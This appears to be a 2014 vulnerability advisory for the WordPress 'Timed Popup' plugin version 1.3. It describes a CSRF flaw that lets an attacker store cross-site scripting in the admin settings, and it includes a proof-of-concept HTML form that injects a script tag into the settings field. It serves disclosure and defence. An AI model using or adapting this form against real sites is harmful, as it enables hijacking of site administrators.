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WordPress Timed Popup 1.3 CSRF / XSS

WordPress Timed Popup 1.3 CSRF / XSS
Posted Dec 12, 2014
Authored by Morten Nortoft, Kenneth Jepsen, Mikkel Vej

WordPress Timed Popup plugin version 1.3 suffers from a cross site request forgery vulnerability that can be leveraged to trick an admin into storing cross site scripting code.

tags | exploit, xss, csrf
MD5 | 1f32fa7b03baef942011fde697d4eb2f

WordPress Timed Popup 1.3 CSRF / XSS

Change Mirror Download
Title: WordPress 'Timed Popup' plugin - CSRF/XSS
Version: 1.3
Author: Morten Nørtoft, Kenneth Jepsen, Mikkel Vej
Date: 2014/12/12
Download: https://wordpress.org/plugins/wp-timed-popup/
Notified WordPress: 2014/11/27
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## Description:
----------------------------------------------------------------
WordPress popup is a timed popup box that shows up on your website, and can be used as a call to action to display products, sign up for newsletters, and mainly to get the attention of your website visitors in an appealing and non-intrusive manner. It has an options page which easily allows you to change the title, text, link and allows you to integrate your existing form or newsletter form with Shotcode support. You can easily connect your mailchimp, gravity forms, contact form 7 shortcodes and get subsribers!

## CSRF:
----------------------------------------------------------------
It is possible to change the plugins admin settings by tricking a logged in admin to visit a crafted page.

## Stored XSS:
----------------------------------------------------------------
Settings data from the admin page is stored unsanitized and shown on the plugin's admin page. This allows an attacker to perform XSS through the settings fields.

PoC:
Log in as admin and then submit the following form.
<form method="POST" action="http://[DOMAIN]/wp-admin/options-general.php?page=wp-popup.php">
<input type="text" name="sc_popup_subtitle" value="</textarea><script>alert(1)</script>"><br />
<input type="text" name="wp_popup_save" value="Update"><br />
<input type="submit">
</form>


## Solution
----------------------------------------------------------------
No fix available.

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